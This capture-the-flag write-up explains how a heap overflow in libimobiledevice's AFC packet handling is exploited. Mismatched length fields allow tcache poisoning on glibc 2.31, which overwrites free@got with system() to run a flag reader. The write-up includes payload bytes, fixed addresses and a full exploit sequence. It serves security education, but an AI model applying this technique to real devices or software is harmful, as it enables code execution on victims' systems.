Summary

The challenge gives us an AFC client (afc_list) that expects to talk to an Apple device. In this service, the remote peer controls the "device" side of the protocol. That is the key idea: the vulnerable binary is the client, but we fully control every AFC response it receives.

The bug is in libimobiledevice's AFC receive path. An AFC packet has two length fields, entire_length and this_length. The library allocates a heap buffer from entire_length - 0x28, but it reads this_length - 0x28 bytes into that buffer. If we reply with this_length > entire_length, we get a controlled heap overflow.

The target runs glibc 2.31, where tcache does not use safe-linking yet. The main binary is No PIE and Partial RELRO, so the PLT GOT is writable and located at fixed addresses. The exploit uses tcache poisoning to make a small strdup() write the address of system() into free@got. After that, the program's normal cleanup calls free(ptr), which has become system(ptr), executing:

/readflag sekai ppp

Relevant files

Mitigations

checksec on afc_list:

Arch:       amd64
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
SHSTK:      Enabled
IBT:        Enabled

The important points are:

The jail hook is also critical:

persona_addr_no_randomize: true
disable_no_new_privs: true
nosuid:false

This makes the memory layout deterministic and allows the SUID /readflag helper to work.

AFC packet format

Every AFC packet starts with a 0x28-byte header:

typedef struct {
    char     magic[8];       // "CFA6LPAA"
    uint64_t entire_length;
    uint64_t this_length;
    uint64_t packet_num;
    uint64_t operation;
} AFCPacket;

The service exposes a simple text interface:

ls <path>
read <path>
write <path> <data>
...

Internally, those commands call libimobiledevice functions:

afc_read_directory(afc, path, &list);
afc_file_open(afc, path, AFC_FOPEN_RDONLY, &h);
afc_file_read(afc, h, data, sizeof(data), &got);

Those functions send AFC requests to the device. Since we are the device, our exploit receives each request and sends arbitrary AFC responses back.

The vulnerability

The internal AFC receive logic effectively behaves like this:

body_size_alloc = header.entire_length - 0x28;
body_size_read  = header.this_length   - 0x28;

buf = malloc(body_size_alloc);
service_receive(conn, buf, body_size_read);

If we send:

entire_length = 0x28 + 8
this_length   = 0x28 + 0x28

the library allocates 8 bytes but reads 0x28 bytes. On glibc, malloc(8) returns a 0x20-sized chunk. Writing 0x28 bytes from the user pointer lets us overwrite metadata and the fd pointer of the next chunk.

The core primitive is:

poison = b"P" * 0x18
poison += p64(0x21)       # keep the next chunk as a valid 0x20 chunk
poison += p64(FREE_GOT)   # poisoned fd

Why tcache poisoning works

The challenge uses Ubuntu glibc 2.31. In this version, tcache stores raw forward pointers; safe-linking was not added yet. Therefore, if a tcache bin contains:

A -> B -> C

and we overwrite B->fd = free@got, future allocations behave as:

A -> B -> free@got

After enough small allocations, malloc() or strdup() can return a pointer directly into free@got. When that happens, the copy performed by strdup() becomes a GOT write.

Initial grooming

The exploit starts with a controlled ls / response:

groom = b"A" * 8 + b"\x00" + b"B" * 8 + b"\x00" + b"C" * 8
self.ls_response(groom)

This creates two visible directory entries:

AAAAAAAA
BBBBBBBB

The important part is the heap side effect:

After this grooming step, tcache's 0x20 bin contains 3 predictable chunks. We need exactly this shape because the final trigger will consume:

  1. one chunk for the list pointer vector;
  2. one chunk for strdup("/readflag sekai ppp");
  3. the poisoned allocation that returns free@got.

Poisoning tcache

The exploit uses the command read /x to reach afc_file_read().

First, it answers afc_file_open() with a fake file handle:

self.respond(packet, p64(1), op=OP_FILE_OPEN_RES)

Then it answers afc_file_read() with the malformed packet:

poison = b"P" * 0x18 + p64(0x21) + p64(FREE_GOT)
self.respond(packet, poison, entire=0x28 + 8, this=0x28 + len(poison))

The effect is:

Conceptually:

tcache[0x20] = A -> B -> free@got

Overwriting free@got

The target address is:

free@got = 0x404070

The system() address in the local jail is fixed because ASLR is disabled:

libc base = 0x7ffff7d65000
system    = libc base + 0x52290
system    = 0x7ffff7db7290

The final payload is another ls / response:

payload = b"/readflag sekai ppp\x00"
payload += p64(SYSTEM)[:6] + b"\x00"

Why only 6 bytes of the pointer? In x86-64 userspace, the top two bytes of this canonical address are zero. Writing 6 bytes plus the NUL terminator is enough to form the correct pointer, while avoiding extra NUL bytes that would create unwanted list entries.

During final list parsing:

  1. the pointer vector consumes A;
  2. strdup("/readflag sekai ppp") consumes B;
  3. strdup(system_bytes) returns free@got;
  4. strdup() copies the system() bytes into free@got.

At this point:

free(ptr) == system(ptr)

Execution trigger

The program triggers code execution by itself.

After printing a directory listing, afc_list cleans it up:

static void free_list(char **list, int n)
{
    for (int i = n - 1; i >= 0; i--) free(list[i]);
    free(list);
}

Since free@got now points to system(), this becomes:

system(list[i]);

The reverse free order causes a few invalid shell commands before/after the useful one. That does not matter. The important call is:

system("/readflag sekai ppp")

The output looks like this:

/readflag sekai ppp
<system pointer bytes>
sh: 1: <garbage>: not found
SEKAI{REDACTED}
sh: 1: <garbage>: not found
afc>

The exploit extracts the flag with:

rb"SEKAI\{[^}\n]*\}"

Full exploit flow

  1. Connect to the service.
  2. Wait for the afc> prompt.
  3. Send ls / to prepare 0x20 tcache chunks.
  4. Send read /x.
  5. Reply to afc_file_open() with a fake handle.
  6. Reply to afc_file_read() with entire_length < this_length to overflow.
  7. Overwrite the fd of a free chunk with free@got.
  8. Complete the read command with an empty AFC response.
  9. Send the final ls /.
  10. Make strdup() write system() into free@got.
  11. Let free_list() execute /readflag sekai ppp.
  12. Parse the flag from stdout.

Running it

Local:

./xpl1.py local

Remote:

./xpl1.py remote HOST PORT

The local mode uses:

127.0.0.1:5000

Final notes

The exploit relies on three environment properties:

Without disabled ASLR, we would need a libc leak before writing system(). With Full RELRO, the GOT overwrite route would not work. With safe-linking, the tcache poisoning would need the correct pointer encoding or a separate heap leak.